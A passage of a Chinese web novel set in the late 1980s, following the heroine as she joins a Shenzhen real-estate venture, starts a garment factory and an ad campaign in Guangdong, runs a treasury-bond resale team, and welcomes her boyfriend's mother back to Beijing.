晚上，雷家要为林珊一行人接风洗尘，在家里摆了满满两大桌。雷生金夫妻俩和他本家两个在他这儿干活的老弟，以及他三个儿子和儿媳妇们全数到场，小孩子们则被安排在后面的院子吃饭。 雷生金见林珊有些惊讶，立刻笑着解释道：“认认人，别以后面对面遇到，互相不认识多见外啊。” 林珊立刻跟大家打了个招呼，简单介绍了一下自己。 雷家人非常热情，但普通话不是很好，林珊估摸自己可能就听懂了百分之八十，好在大部分是些客套话，也不怎么碍事。 李娜和李国超则被这种场面惊到了，李娜对这满桌的菜感到震惊，李国超则对雷家有钱的程度感到震惊。兄妹俩傻乎乎地坐着，接受着各自的震荡。 这种人多的接风宴，基本都会聊一些双方都开心的事儿，彼此的共同话题是阿英，自然离不开相互恭维。 一个说雷家女儿果然不一般，一个说多亏你带着我家孩子学习。 一顿饭吃得宾主尽欢，第二天郭家人一来，大家瞬间就进入了各自的角色。大宗买卖的合作，谈起来气氛总不会过于轻松。 林珊带着自己的小本本，坐进了雷家谈生意的地方。一个大圆桌，三方分坐三侧，开始了正式的合作会谈。 第132章 第132章 粤城谈买卖 郭雷两家拍下的地皮在深城罗湖, 是郭家老二郭广盛用525万元人民币拍下的。这片土地占地共8588平方米，使用权限七十年，初始竞拍价为200万人民币。 这525万, 由郭、雷两家分摊，双方各占股50%。 林珊在年前提出的先拿二十万, 次年再掏一百万，之后再追加的入股方式, 郭、雷两人基本已经同意了。 不过今天，两人表示不需要林珊继续追加, 只要拿120万就可以了。这就意味着三人的股份没办法平分, 林珊的占比在18%左右。 18%虽然也不少，但是林珊更担心的是决策方面的问题。 郭有财立刻表示：“我们既然想让你一块儿干, 就是为了多听听你的意见, 这个你不需要担心。” 林珊在心里算了笔账, 按照这块地如今的价值，建成后房子的售价预估, 即使他们低价售卖, 到手的净利润, 一年也应该接近五百万左右。 最关键的不在这一年500万的1 8%有多少钱，而在于这个地盘以后带来的价值。 120万就能拿到18%的利润，而且后续也不用她亲力亲为，林珊明白这已经是郭、雷两家对她很大的让利了。为了表示自己的诚意，林珊也拿出了她来之前就准备好的东西。 她这个小本本上, 有根据后世记忆画出来的深城发展规划图, 以及他们将来如何发展的初步规划。 郭有财看着这张可以称之为异想天开的深城规划图，想起了二儿子托人从有关部门那儿誊抄的未来规划图，发现深城政府的图, 画得还没有林珊全。那些他们空着的地方，都被这丫头填满了，还写清了用途。布局结构不但极其精准，而且非常大胆、疯狂。 但是这可能吗？深城将来真能发展成这样？ “丫头你这图……从哪儿弄得啊？”郭有财不禁要问问了，难道她在京市认识了什么身份地位更高的能人？ 林珊打哈哈：“听了些东西，自己画的。” 郭有财理解了，就是认识高人了。他立刻拿过林珊的小本，当宝贝似的看了又看。 雷生金也凑过去看了会儿图，发现自己还是对那些公司发展，更有兴趣，“阿珊姑娘，你这个房地产公司的规划，仔细说给我们听一听吧。” 这上面又有什么股权结构，又有股票和上市之类的，雷生金太想知道怎么弄了。 林珊解释了一下这只是一个初步的构想，“……地皮是广盛叔用他贸易公司的名义拍下的。咱们现在需要注册一个房地产公司，让地皮名义上交易到地产公司，然后再开始各种审批。等小区的建设完成了之后，咱们还要进行股权结构改组，向社会公开发售股票，准备上市。” 雷生金摸了摸下巴，“这个上市，就是他们说的拿别人的钱干自己的事？” “……差不多吧。” 郭有财点点头，“上市之后倒是能解决钱的问题，再拍地盖房子就轻松多了。” “是。” 其实让郭广盛的贸易公司直接改组股权结构，现在就开始公开发售股票，并把核心业务定位大众住宅开发来搞的话，更能为他们省钱。 但是林珊不想把别人的生意牵扯进来，人家好好的贸易公司被这么一搞，也不一定会怎么回事儿。所以还是重新注册一个房地产公司比较稳妥。晚点儿就晚点儿吧，他们手里又不是没有启动资金。 郭有财跟雷生金都不懂这些东西，但林珊说得通俗易懂，让俩人越发觉得这买卖不能没她！ 三人整整谈了一天，歇歇聊聊，吃点儿东西之后又继续。 为了更好的了解行情，林珊请郭广盛帮忙调查一下，深城前两年跟港商补偿贸易盖出来的，那两个小区的现况。毕竟这回有位著名的李姓港商也拍了一块儿地，大小跟他们的差不多，离得又不是很远，林珊想先了解一下港商盖的房子有什么特点。 郭有财记下了，保证让老二完成任务，还让林珊再想想还有没有什么需要做的。 林珊暂时能想到的就这么多，毕竟还没去深城，还没见过地皮，没见过设计师和施工团队，他们几人合伙的公司都还没注册，一切都要慢慢来。 基本谈妥大方向之后，三人签了份合作协议。因为公司还没注册，郭、雷二人就让林珊等公司注册好之后，再把二十万打到账上。 八十年代末的异地转账，主要靠手工“联行系统”。需要林珊那边的银行发出汇款请求，把汇款处理成公文，通过邮局寄送联行信件，到达目的地银行之后，才能完成转账。整个过程大致需要一个礼拜的时间。 虽然没办法跟后世比，但已经非常方便了，至少不用带着那么多现金出门。 完成了这次来粤城的一件大事之后，林珊请雷生金和郭广发帮忙打听了一下粤城的广告公司。 两人一听她要给自家的辣椒酱和肉酱做广告，笑着说：“这年轻人的想法，就是跟我们这些人不一样啊。”他们谁都不会为了瓶酱花那个钱的，看来这就是差距啊。 这两种酱林珊这次都有送给他们当礼，连不能吃辣的雷家人都说好吃，阿英更是每顿一边嘶嘶哈哈，一边往碗里放。 林珊很高兴大家喜欢吃，厂子那边赵福也传来捷报，销量呈现快速增长的趋势，基本所有的加盟店都要求补货了。 林珊趁着两人帮忙打听广告公司的空挡，跟阿英跑了一趟陈广志那间快倒闭的服装厂。其实过年之前阿英就跟她说过，感觉陈广志这回是真撑不下去了。 结果一到那地方，感觉比之前还萧条，工人是一个都没看见，只有陈广志在屋里埋头收拾东西，一见林珊跟阿英带人过来了，他赶紧放下手里的活儿来接待他们。 陈广志看上去非常疲惫，整个人有种被熬干了的感觉，他收藏的陈皮茶也见底了，勉强泡出两杯茶给林珊和阿英后，叹气道：“不关门不行啊，实在揭不开锅了。” 虽然林珊给了他一些包装袋的生意，但是那利润完全不够支撑一个厂子，又一直接不到新的订单，再不要关门的话，就要欠债了。 家底已经被他败光了，再硬挺着，老婆孩子就要跟着他去街上要饭了。 林珊好奇他最开始是怎么想起做服装生意的，陈广志瞬间像是打开了话匣子。 最早的时候他跟人一块儿倒腾服装，手里挣了些钱，后来两人看见自家村子边都开起了服装厂，就合计着他们也开一个干干。 本来厂子的效益还不错，衬衫和裤子的生意还挺多的，真正开始坏事，是合伙的同村本家哥贪大，接了个大单子做了一大批棉衣，结果买家那边突然毁约，衣服就这么硬生生砸在了手里。 本家哥见状，就开始怨陈广志衣服做得太多，质量太差，吵着要散伙。陈广志人厚道，明知道本家哥怨的那些都是借口，却念在小时候游野泳的时候，本家哥救过他的命，而且当初自己也确实同意要接这笔单子的，于是就跟对方和平散伙了。 说是散伙，实际是明抢，厂里好一点儿的设备和裁缝都被本家哥给捞走了，留给陈广志的就是现在这个烂摊子。 棉衣砸手里，厂子又被掏空了，自此就陷入了恶性循环，没有现金，没有人，没订单，只能等着倒闭。 林珊听得叹气，阿英则直接骂起了本家哥和那个不讲信用的买家。 陈广志早就已经看开了，还劝她小姑娘别生气。 林珊也没再绕什么弯子，直接把自己准备建个服装厂的事情说了。 陈广志听得一脸羡慕，直到林珊问他有没有兴趣加入的时候，惊讶得方言都蹦出来了。 “咩？！” 林珊笑着解释了一下，陈广志指着自己，“我？你们要在这里建厂？！” “是的。” 林珊询问了一下陈广志的租约还剩多久，每年租金多少，现在还有多少机器和工人。 陈广志一五一十地说了，还良心地建议林珊：“我家这厂子，实在没有什么可接手的，太破了。工人前两天我也都解散了。” 林珊笑道：“没关系，反正我也要重建。”十年租约还剩下六年这件事比较重要，而且陈广志是本村人，地又是他二大爷的，她需要个当地人坐镇。 陈广志见林珊话说得坚定，明白人家是真的想在这儿建厂了，心里顿时既高兴又紧张，还有那么点儿自家厂子真完蛋了的伤感。沉默了一会儿之后，陈广志把心里话跟林珊说了。 他是想加入，就是不知道能干什么，更怕自己把人家的厂子给干黄了。 林珊问他：“如果我现在马上就要用人，你用最快的速度能找到多少工人？” 陈广志想了一下，“真要找的话，至少二十多个吧，一天多就能找齐。”以前本家哥带走的那些工人，其实都想回来跟着他干，但是陈广志实在是没钱，养不起那么多人。 林珊点了点头，她看重的是陈广志的人品和背景，能一下叫过来这么多工人，除了要知道谁能行之外 ，还得让人家心甘情愿的跟你来才可以。 她的服装厂的经理不需要多能跑业务，只要能管好厂内这些事儿就行了。 林珊把工资和分成跟陈广志一提，吓得他人都愣住了。这一年的工资……比他厂子最好时候的利润得多！！更不要提以后还有分成！！ 陈广志激动得站了起来，原地转了两个小圈之后，还是高兴得不知如何是好。本来他都打算去摆地摊了！现在人家居然愿意让他当经理！ 第133章 第133章 接手服装厂 林珊花了半天时间, 跟陈广志谈好合作的细节，才跟阿英一行人回到城区。 要建自己的服装厂需要一系列的手续，阿英激动地跟雷生金汇报了一下她们要建厂了, 顺便请她爸帮忙搞定工商证。 雷生金虽然知道林珊跟自家闺女的合作，不是在小打小闹, 但是这么快就要建厂，他是完全没有想到的。他到底是个老父亲的心态, 偷偷派人去查了查陈广志的底和那个小服装厂后，这才放心地托朋友帮忙办一下证件。 粤城这边的服装厂的注册名叫“珊英”, 毕竟阿英也入股了, 而且这次建厂的时候她要出四成的钱，林珊就决定把名字注册成“珊英”。 以后服装公司和旗下品牌整合的时候, 如果有不同意见, 可以再进行调整。 注册完证件之后, 才好跟陈广志那边签正式合同，更换新的租约。等待证下来的期间, 林珊去了郭广发和雷生金帮她联系的两家广告公司。 这两家公司一家是外商的, 一家是本土的。 林珊先去的外商那家, 坐在八十年代末的高档办公室里，喝着对方进口来的咖啡，看着所谓母公司的知名案例，聊了一会儿后，她就知道这家不适合自己。 对方表面礼貌, 实际隐藏在举手投足间的那种“你一个小姑娘家懂什么, 我们可是美帝的企业，我们知道什么好”的姿态，让她浑身不舒服。 微笑告别之后, 林珊直接去了本土公司。 本土公司的办公地点没人家外商的高端，职工没人家的多，也没有进口咖啡，只有不知道是什么茶的茶水，但热情和坦诚是非常足够的。 林珊照旧跟他们聊了一下构思，看了看公司之前的案例。 经理刘灿荣亲自带着团队接待了她，在听完林珊的想法后，立刻拍着胸脯表示，一定会做到让她满意为止。知道林珊还有几天要离开粤城，对方保证会尽量在那之前画个初稿，给她查阅。 谈到这个地步，林珊其实已经决定要跟他们合作了。 虽然本土公司的专业度，确实跟外商那边有些差距，但策划她自己已经想好了，而且根据后世的广告记忆，知道一定不会差，她只需要对方按照构思，完整的呈现出效果就行。 再加上巨大的价格优势，而且这公司之前的做得电视广告又不差，可以说非常适合她了。 林珊想要的广告故事很简单，用一男一女两个小孩子做主线，讲述孩子们经常趴在铺子门口看人家熬酱，香得俩人直流口水，看着别人都去买，也缠着爸妈去买，然后镜头定格在哥哥把酱放在馒头上吃，妹妹则放在面条里吃，一家人香喷喷得吃起饭来。 具体怎么呈现这个故事，看广告公司怎么去做，但是片里主打辣椒酱，肉丝酱也要出现，制作工艺要展现出来，要突出家的味道，要演示酱的吃法，更要表达出来人情味。 说简单也简单，说难也难。 刘灿荣非常欣赏这个构思，当即就记下了所有要点，并跟林珊签了份意向约。其实广告最难的是创意部分，既然顾客自己带着创意来了，而且还这么新颖，他们自然就好做多了。 不过毕竟是电视广告的大客户，而且又是大老板介绍来的，绝对不能怠慢。 广告的事进展得比林珊想象中顺利，回到雷家刚歇了一晚，阿英就告诉她服装厂的证全都下来了。 于是次日一早，林珊一行人就去了陈广志的服装厂。 陈广志早几天就把所有的手续都准备好了，今天还把自家二大爷也叫来了，厂子毕竟租的是他老人家的地。二大爷跟陈广志一看就是一家人，不仅模样像，性格也像，是一位特别老实本分的农民伯伯。 双方签好了合同，付了钱，大家开始讨论建厂的细节。 厂子目前的大小是合适的，只是有很多空地方都闲置着，林珊在本上勾勾画画，简单把自己的想法跟大家说了说。阿英懂怎么做衣服，对车间和设备非常有自己的想法。陈广志也不时提供着自己的意见。 几人走走看看，把厂子逛了一圈又一圈后，基本定下了一个建设蓝图。施工队陈广志负责找，工程师阿英负责找，先简单搭起一个小班子，边干再边完善。 设备的事儿，京市的严建设老板已经帮林珊搭好了线，阿英家也有不少门路，这个完全不用担心，到时候看哪一方更合适就可以了。 至于厂子盖好之后干什么，林珊想做的第一件事就是给自家的包装袋绣上品牌和logo，接着再做一些简单款式的衬衫和裤子。 磨炼一下技术，直到达到目前港城货和外货的制作标准之后，再开始慢慢迈向自主设计的路子。 这趟粤城行，一共短短的两个多星期，林珊就干了三件大事，效率可以说非常高了。唯一可惜的是回去的时候，广告公司没能赶完初稿，林珊只看了个大概。 不过效果比她想得要好很多，也算是意外惊喜。 又跟阿英走了一趟各个渠道，定了些春夏款之后，林珊就带着李娜兄妹俩回安河了。 这次在粤城，她进了一些童装和男装。童装除了大多数要给外甥穿以外，还给沈丹和梁小慧的家的孩子都买了几件。男装则是她买给贺正岩穿的，虽然他常年穿军便装，但是也应该有几件别的休闲衣服。 赵桂花和林红看着这些小到几个月，大到五六岁的童装，笑得不知道都该说什么了。 林红戳戳儿子的小脸逗他：“昊昊，看看小姨多疼你啊，这么大点儿就给你准备这么多衣服，穿的完吗你？” 刚两个多月的王振昊小婴儿，刚吃完奶，睁着眼睛咕噜噜地看着林红，完全不懂妈妈在说什么。 林珊笑道：“咱们昊昊真是越来越好看了。” 感觉小婴儿真是一天一个样儿啊，她去粤城的时候这小家伙还一天到晚都在睡，这次一回来，发现一逗他，他还知道笑呢。简直不要太可爱了！ 林珊抱着小昊昊玩了一会儿，跟母亲和姐姐享受了一点休闲时光后，就赶紧去忙了。 食品厂最近的生产工作进行得如火如荼，林珊视察完厂子，解决了一些配货问题，次日又跑去公司新址看了一下进展后，就开着212北上回京了。 可能是竞赛成绩带来的效应，老师们见到她回来上课，居然没有再说教，而是直接告诉她讲到哪儿了。检查完林珊的学习进度，发现她一点儿没落下之后，就更加和颜悦色了。 在学校呆了大半天，林珊晚上抽空跟贺正岩见了个面。 除了让他挨个儿试试自己给他买的衣服外，林珊还把自家的辣椒酱和肉酱也给他搬了几箱。有他自己吃的，有送给贺振华的，也有送给顾康和卢学军的。 贺正岩这阵子一直忙，没空去包子铺，所以就没见过两款酱的最终成品长什么样，这会儿拿着瓶子来回看了看，发现这包装真挺好看的。 “吃起来更好吃。”林珊非常自信地给他加到面上，“尝尝。” 贺正岩本来就能吃辣的，拌了拌一吃，果然够味儿！ 林珊见他喜欢，开心得很，“快吃，吃完继续试衣服。”刚才只试了两件外套，俩人就开始做饭了，吃完必须好好给他来个时装秀。 贺正岩见她这么有兴致，吃完饭就乖乖地继续配合起来。试了□□套之后，热得汗都出来了。 林珊每一套都喜欢，笑眯眯地说：“衣服架子就是衣服架子啊，怎么什么风格的衣服，穿在你身上都这么好看呢？” 贺正岩乐出了声，一把将人搂进怀里，好好亲了一会儿。放开林珊的时候，他忍不住叹气：“你快点儿毕业吧。” 林珊笑着嗔了他一眼，知道他心里在想什么。 次日，林珊上完课后，把服装店和包子巡视了一下，就去找闫超了。 今天是4月6号，国库券市场已经于4月1日正式开放了。 见到闫超，林珊把买国库券的事情一说，他立刻表示：“行，只要我能帮上忙，干什么都行。就是刚开始可能有点儿不知道怎么弄。” 林珊让他不要担心，她会再找一个人，三人一块儿操作一次，他在旁边看着就会了。 林珊要找的这第三个人，就是顾康的表弟刘鹏飞。按贺正岩的说法，这人激灵，本质不坏，但要跟他一块儿做这种生意的话，需要个自己人在旁边看着。 刘鹏飞这两天忙坏了，到处都是来买国库券的，银行都空了，一瞧见林珊过来，以为她也要来买。 结果三人到小饭馆吃了顿饭，他就明白了，这是有买卖想让他参与啊，“什么买卖啊嫂子，还得我先签合同？” 林珊笑道：“挣大钱又不违法的买卖，不签合同没法儿做。你就说有没有兴趣吧。” 刘鹏飞小眼转溜了两秒，立刻呵呵笑：“那肯定有兴趣啊。” 林珊的事儿他不但从顾康那打听过，前一阵儿还从报纸上看过，当然知道这是个特别有本事的人。再说了，又是正岩哥的对象，肯定不会做什么犯法的买卖。 人家愿意找上他，恐怕是这买卖跟银行有点儿关系。 “嫂子，合约在哪儿，我立刻签。” 第134章 第134章 债券买卖 林珊把合约拿给刘鹏飞, 他简单一看，发现什么内容都没透露，只说让保密。保密行啊, 他大笔一挥签下大名。 “到底是什么买卖啊？” 林珊把保密协议收好，小声把倒卖债券的事儿跟俩人说了。 刘鹏飞两眼放光, 激动地直拍大腿！这么好的买卖他怎么就没想到呢！怪不得要保密，这事儿确实要偷偷干, 别人知道了肯定跟着学！ 闫超也算听明白了，为什么连他也得签协议了。 “嫂子, 你放心, 汉北跟河西两个省的银行，都有我认识的人, 离咱这儿也近, 我来联系！”刘鹏飞已经迫不及待想去搞券了。 林珊看上的就是他的精明劲儿和人脉, 把具体细节和首次准备购入的数量说了一下后，她又拿出一份真正的合同, “这是分成, 你看看。” 刘鹏飞接过合同, 越过那些字，精准地找到了分成数，在心里稍微一算，瞬间眉开眼笑：“嫂子！你真不愧是做大生意的人！” 给他的点儿，刘鹏飞连想都没敢想。真大气！ “没有异议, 咱就抓紧签约开干吧。”毕竟已经6号了, 晚一天可就少一天的钱啊。 “好好好！”刘鹏飞迅速签下大名，见林珊还准备了印泥，就知道人家真得是有备而来啊。可能从去年找他买国库券的时候, 就已经在试探他的为人了。 刘鹏飞瞬间非常庆幸自己现在靠谱多了，不然这生意肯定轮不到他。 这种倒卖国库券的事儿不是什么高级机密，只要有心，或者说在债券市场待上一阵子，基本就能想明白。最关键的是要有去各地方银行收国库券的资金，也要有收回来能全部卖掉的信心和门路。 人脉不可少，常年奔跑在各大银行的人也必须有。 林珊给刘鹏飞的分成不算低，实在是因为倒卖这种东西，确实就是想到和没想到的区别，没有什么特别高的门槛。保密协议虽然签了，但对方要真不执行，她也不知道。毕竟这又不是什么专利。唯一能牢牢拴住对方的，只有利益。 一旦他觉得这活儿是自己的买卖后，就不会向外人透露了，毕竟谁也不想多个竞争对手。 闫超那边，林珊让他把他大弟闫刚也拉了进来。毕竟以后要靠闫超跑地方银行，手里带着现金危险性很高，一点被人盯上，送命都有可能，必须再找个人陪着。 林珊给了兄弟俩丰厚的报酬，也都签了保密合同。闫超不放心京市这边的服装店和包子铺，直接把自己二弟闫强拉来当苦工，让他多照看着点儿。 林珊对他这俩弟弟都不陌生，平时他们就经常过来帮忙，索性直接让闫强也加入了自己公司，按月给他发工资。闫家对她感激不尽，最近老让在服装店当销售的闫青，给林珊带自家的水果和糖饼。 债券倒买倒卖小团队成立之后，第一周，净利润就达到了2万4。尝到巨大甜头的刘鹏飞，闲下来的时候，自己还会跟着闫超兄弟俩一块儿去买券。完全用不着林珊操心，哪个地方有低价券，哪个银行会高价收，他全都一清二楚。 整个倒卖小团队像打了鸡血似的，整天披星戴月、舟车劳顿的干。 林珊把买卖的成果跟贺正岩一说，他除了夸她有眼光外，还联系了税务局一个信得过的领导，让她为了保险起见，去找一趟人家，再问问清楚。 林珊正有此意，找到税务同志询问的结果，跟她在后世知道的没有什么不同。这种行为不违法。一切能促进资本流通，提高市场活跃度的行为，原则上都是鼓励的。 吃了定心丸，小团队的买卖干得更加拼命了。 林珊看着存折里的数字，真真切切体会到什么叫金融的力量了。这钱挣得可真比实体轻松啊，怪不得美帝那些贪婪的资本家，几乎把本土的制造业都移到便宜地方去了，钱和精力都放在掌控全球金融市场上面。让全世界成为我便宜的加工厂，我自己印点儿钞票，放些贷，躺着挣钱多好。 只可惜这样的畸形结构只会造成巨大的贫富差距，穷的越穷，富的钱已经不再是钱了。长期下去，就是人民困苦、社会撕裂、霸权将倾。 林珊警醒自己千万不要掉入资本主义的陷阱里。钱要挣，事要干，成果更要分享。 贺正岩对她这种想法是赞扬了又赞扬，“不愧是大学生，思想觉悟就是不一样。” 林珊笑了，再次感觉到这个时代的人，把大学生看得有多高了。 “对了，我妈下礼拜一回来。”贺正岩笑着开口，心情非常不错。 “太好了！”林珊很替他高兴，“住的地方定了吗？要不要我们先帮着收拾一下？” 姜春荣这次回来要暂时住在以前的单位，贺正岩也已经都安排好了。 林珊周一正好没课，“要不，我跟你一块儿去火车站接阿姨？” “好啊，我妈一定特开心。”贺正岩只要给姜春荣打电话，她在那头就没有不提林珊的时候。 林珊当然知道姜春荣喜欢自己了，她时不时就会往西北寄信和吃的东西，两人打电话的次数虽然不多，但关系可是一点儿都不生疏。 好几次姜春荣还在信里吐槽她儿子呢，看得林珊直笑。 姜春荣喜欢吃自家的酸菜包和豆腐包，熟肉铺的素卤和新品香肠她也爱吃，林珊提过的馄饨，她在信里也说过想吃。这个时期的大西北，条件还是非常艰苦的。寄过去的东西，跟新鲜的差距很大，等回京市了，一定要给她好好补补。 林珊跟贺正岩见完面回到学校后，给粤城的刘灿荣打了个电话。 之前他们寄过来的画稿，林珊已经通过了，上个礼拜广告已经正式进入制作当中。林珊去不了现场，阿英替她看了看，直夸搭的背景跟真的一样，两个小演员找的也特别可爱。那个什么导演非常严厉的，搞了一天都不满意，一直喊重来。 林珊喜欢严格，这样才能教出好看的片子。挺遗憾这次去不了现场的，不然亲自看一下八十年代末的拍摄场景，应该也是个不错的经验。 不过样片出来之后，她还是得去一趟粤城。 周一中午12点20分，贺正岩跟林珊在火车站接到了风尘仆仆的姜春荣。 她比林珊上次见到她的时候要瘦上不少，精神头却还是一如既往得好，本来见到贺正岩就很高兴了，一瞧林珊也在，她瞬间直接越过亲儿子，紧紧抱住了林珊。 “阿姨辛苦了。”林珊拍拍她的后背，表达最真挚的感谢。 “不辛苦。”姜春荣笑着摸摸林珊的脑袋，对她满意极了，“好，真好！” 上回见面姜春荣还在想，这小姑娘要是能 跟自己儿子凑成对该有多好，这回再见，可就是实实在在的未来儿媳妇了！她能不开心嘛，更何况林珊这两年还一直跟她保持通信，时不时就寄一大堆吃的给她。简直比亲儿子还要体贴！ 这猛得一见面，看着儿子身边这如花似玉的小脸，姜春荣能不喜欢吗？ 看看自己的儿子，再看看林珊，她笑得嘴角就没下来过。真般配！ 回去的路上，姜春荣还在不停地拉着林珊聊天，问着她那些在信里说过的事儿。姜春荣知道林珊在京市开了包子铺和服装店，也知道她在老家建了厂子，更是知道她计算机比赛得了第一名的事儿。 俩人在后座聊得火热，贺正岩听得纳闷，感觉母亲知道的细节比他还多，这俩人到底是写了多少封信啊。 姜春荣笑着说：“不告诉你，专心开车。” 贺正岩无奈地乐了，从后视镜里头跟林珊碰了个眼神后，把车开到了姜春荣最爱吃的一个家常菜馆。三人都还没吃午饭，肚子咕咕叫了已经。 饭店是个小地方，环境不怎么样，来的基本都是熟客，不过菜是真好吃。 宫保鸡丁、京酱肉丝、地三鲜和西红柿炒鸡蛋，外加一份酸辣汤，三人吃得那叫一个锅倒肚儿饱。姜春荣还说她在西北最想念的，就是这家店的家常菜，可惜她自己厨艺不精，怎么也做不出这个味儿。 林珊笑着提意见：“您上回信上还说，最想吃我家的馄饨呢。” 姜春荣乐了，“想，都想，改天吃，今天实在没肚子了。” 林珊点点头，“我家店别的不敢说，有一点绝对比这家好。” “什么？” “对您终身免费。” 姜春荣听得哈哈乐，“好，我去，我一定去。” 吃完了饭，三人来到姜春荣的住处，林珊惊讶发现这地方，居然离科研所的房子这么近，骑自行车都用不了十分钟。就是里面的摆设，真可以用艰苦朴素来形容了。 二室一厅的房子，一间卧室，一间书房，还有一个小厅。卧室像个军人的房间，除了床和小书桌，只有一个半人高的小柜子，姜春荣说里头是放衣服的。 书房面积不小，里面堆满了各种书和资料，摆放得很整齐，给人一种淹没在知识海洋里的感觉。 小厅里不是那种茶几沙发的组合，而是只放了两个小柜子靠在墙边。小柜子上面摆着家人的照片，贺正岩的居多，从小到大的都有。有可爱的，有帅气的，都很招人喜欢。照片旁边的托盘里放着四个茶杯，茶杯边还有一个咖啡壶。一个美式的虹吸壶，表皮看着像不锈钢质地的。 这可能是姜春荣房间里，唯一能看出她出身背景的东西。 第135章 第135章 姜春荣回京 林珊跟贺正岩帮着姜春荣, 收拾着她带回来的行李。 说是行李，其实私人物品少得可怜，主要是一些资料和模型用具。 林珊看着姜春荣弯腰整理着那些资料, 心里再次涌起深深的敬仰，黑色毛衣勾勒出她瘦弱的身形, 看似弱不禁风，但懂得人都明白, 这是一副谁都压不垮的脊梁。 由于姜春荣要过一阵子才会正式去新单位任职，所以她只简单摆放了一下东西, 准备等尘埃落地之后再细细整理。 屋里的卫生, 贺正岩也早安排人打扫得干干净净，几人没怎么收拾就把这小屋安置妥当了。贺正岩本来想让姜春荣休息一下, 结果她精神头大得很, 还打算出去逛逛。 姜春荣也没有什么明确的目的地, 她就是难得回来，儿子跟林珊又都在身边, 所以想跟他们出去逛逛。 贺正岩想了想, 就决定她跟林珊去百货公司。逛逛街, 再给家里备点儿东西，正好合适。 京市的百货公司有好几个，林珊悄悄建议贺正岩去西城那个，这样姜春荣能顺便逛逛自家的服装店，她也好给她选几套衣服。 姜春荣身上的西服已经褪色了, 黑色毛衣也起球得厉害, 林珊帮她收拾行李的时候，看见包里那几件衣服同样也都非常旧了。现在马上要进入五月份，正好给她换一批凉快点儿的新装。 三人在百货公司买了些日货, 贺正岩本来想给姜春荣添个洗衣机，结果她坚持等搬了单位再弄，不然还得搬来搬去的。 因为是临时住所，所以很多想置办的电器就只好稍后了。不过大件买不了，姜春荣确实想买几件衣服，在西北顾不上，回来了总得像个人样不是。 可她刚要往服装部去，就被林珊和贺正岩拉着走了。 “阿姨，我家的服装店就在旁边，咱自己的衣服比这边的好看。”林珊笑眯眯地搂着姜春荣的胳膊，指着大门外的另一个方向。 姜春荣笑着说好，她正想抽空去看看林珊的那些店呢，没想到竟然就开在这旁边。 “红珊服装店”的装修，别具一格，只要是路过的群众，就没有不被吸引的。姜春荣猛地一看见这铺面，也非常惊讶。 “太漂亮了！” “里面更好看。”林珊做了个有请女士的姿势，邀请她进门。 现在虽然已经快天黑了，店里的客人依旧不少，林珊让售货员忙各自的之后，自己带着姜春荣选衣服。 姜春荣虽然全身心都投入在科研事业当中，但到底是位女性。在没有去西北之前，尤其年轻时候，她还是很爱漂亮的，那时候物质比现在更匮乏，但因为姐姐哥哥都在美国，所以经常给她寄一些吃穿用的东西。 后来又去了大西北，这一奋斗就是七八年，根本没有闲情逸致讲究这些。时隔这么久，再次看见这么多漂亮的衣服和首饰，她那颗爱美的心，突然就被激活了。 姜春荣一眼就相中了一件深棕色的条绒衬衫，质量好，款式也新颖，现在单穿衬衫稍微有点儿凉，林珊又拿了件天蓝色的T恤衫，让她搭配在里面。 下面配深蓝色的长款西装薄裙很好看，配牛仔裤也好看，而且是完全不同的两种风格。 姜春荣都挺喜欢的，一个劲儿地称赞林珊眼光好。 林珊接着又给她选了一件薄款开衫毛衣，这时候穿正好，九分裤七分裤都来了两条，另外白衬衫这种基础款，也每个样式都选了一件。 贺正岩在一旁看着，想起了那天林珊不停让自己试衣服的场景。她对人好的方式挺一致的，给你吃好的穿好的，把你当成自己人似的疼爱。 他很喜欢这样，相信母亲也不例外。 林珊给姜春荣挑完衣服，又把她拉到首饰区，本来想选几条款式简单的项链做搭配，结果姜春荣不喜欢戴首饰，一条也不要。不过她倒是对林珊店里新进的旅游鞋非常感兴趣，点名要试试。 “这个穿着舒服，我一直说买也没找着机会。”姜春荣试着白色的旅游鞋，满意得很，非常舒服，还能穿着跑步。 林珊直接把黑色的那双也给她包上了，“替换着穿。” 姜春荣从上到下都被林珊给置办了个齐全，试衣服试得都出汗了，瞧着这丫头拿着衣服让售货员去包装，她立刻说：“让我付钱，不然这衣服我就不穿了。” 林珊才不怕她的威胁，“必须不能付，不然这店我就不开了。” 姜春荣一愣，看着这丫头面无表情地给衣服装袋，一副“您要敢不接受我的衣服，我就真不开店了”的赌气架势，顿时有点儿想笑。 不仅她想笑，贺正岩也想笑，帮忙打包的闫青直接偷偷乐了。 姜春荣拍了拍林珊的背，笑着说：“好了好了，我接受，真怕你这店不开了。” 林珊这才满意地恢复笑脸，一边包着衣服，一边让闫青把这些货加入出售清单中。 以她跟贺正岩的关系，还让姜春荣付钱，那成什么了。跟贺正岩认识到现在，早被他帮过无数次了，再加上又谈了这么久的对象，再分这么清就太生份了。 等过一阵夏装上了，她还要再给他们从头到脚都置办齐全。家里不开店也就算了，开了自然就不用再给百货公司送钱。赵桂花跟林红，甚至自家公司的主管们，哪个不是从头到脚都是店里的衣服，区别是主管们买衣服要花钱，但是有内部折扣。 姜春荣没想到出来简单逛逛，东西就已经堆得车上满满当当了。不但车满，就连她身上这会儿都穿着刚才新试的那件深绿色开衫，没再换回自己的毛衣。一时间都有种回到年轻时候的错觉。 置办完了行头，晚饭时间也到了，再回家做饭也有点儿晚了，所以三人再次决定在外面吃，不过这回选的是林珊家的包子铺。 林珊跟姜春荣吃的是馄饨，贺正岩则吃的是他最爱的肉丝面。 三人在店里说说笑笑，丝毫没发现这温馨的场景，被对面的张秀英看了个正着。 张秀英跟朋友在中关村附近办事，结束后正准备找家饭馆吃饭，突然被一家亮堂堂的店铺吸引了注意。定睛一看，发现窗子里居然是贺正岩跟林珊在吃饭，当她一脸烦躁得准备避开的时候，赫然发现林珊旁边还坐这个人，这人不是别人，是她最不愿意看见的姜春荣！ 那个应该在大西北待着的姜春荣，这会儿正开开心心地坐在店里吃饭呢。 张秀英知道自己应该立刻离开，但是又控制不住那颗想窥探的心。大西北不是应该风吹日晒的吗？为什么她一点儿没黑，也没怎么老？她不是应该满脸皱纹，灰头土脸，什么都不讲究的吗？ 这就是贺振华口中一心只为科研的大科学家？！ 哼，穿得居然比她还好！那毛衣一看就不便宜，样式也没怎么见过，还穿白裤子！这年头有哪个辛勤工作的人敢穿白衣服，谁不怕弄脏？！ 张秀英撇着嘴，心里的不屑和嫉妒强烈到她身边的朋友都看出异样了。 “怎么了张主任，对面的人你认识？” 张秀英赶紧收敛情绪，扯出点笑：“看错了，走吧，咱去那家削面馆尝尝味道去。” “……好。” 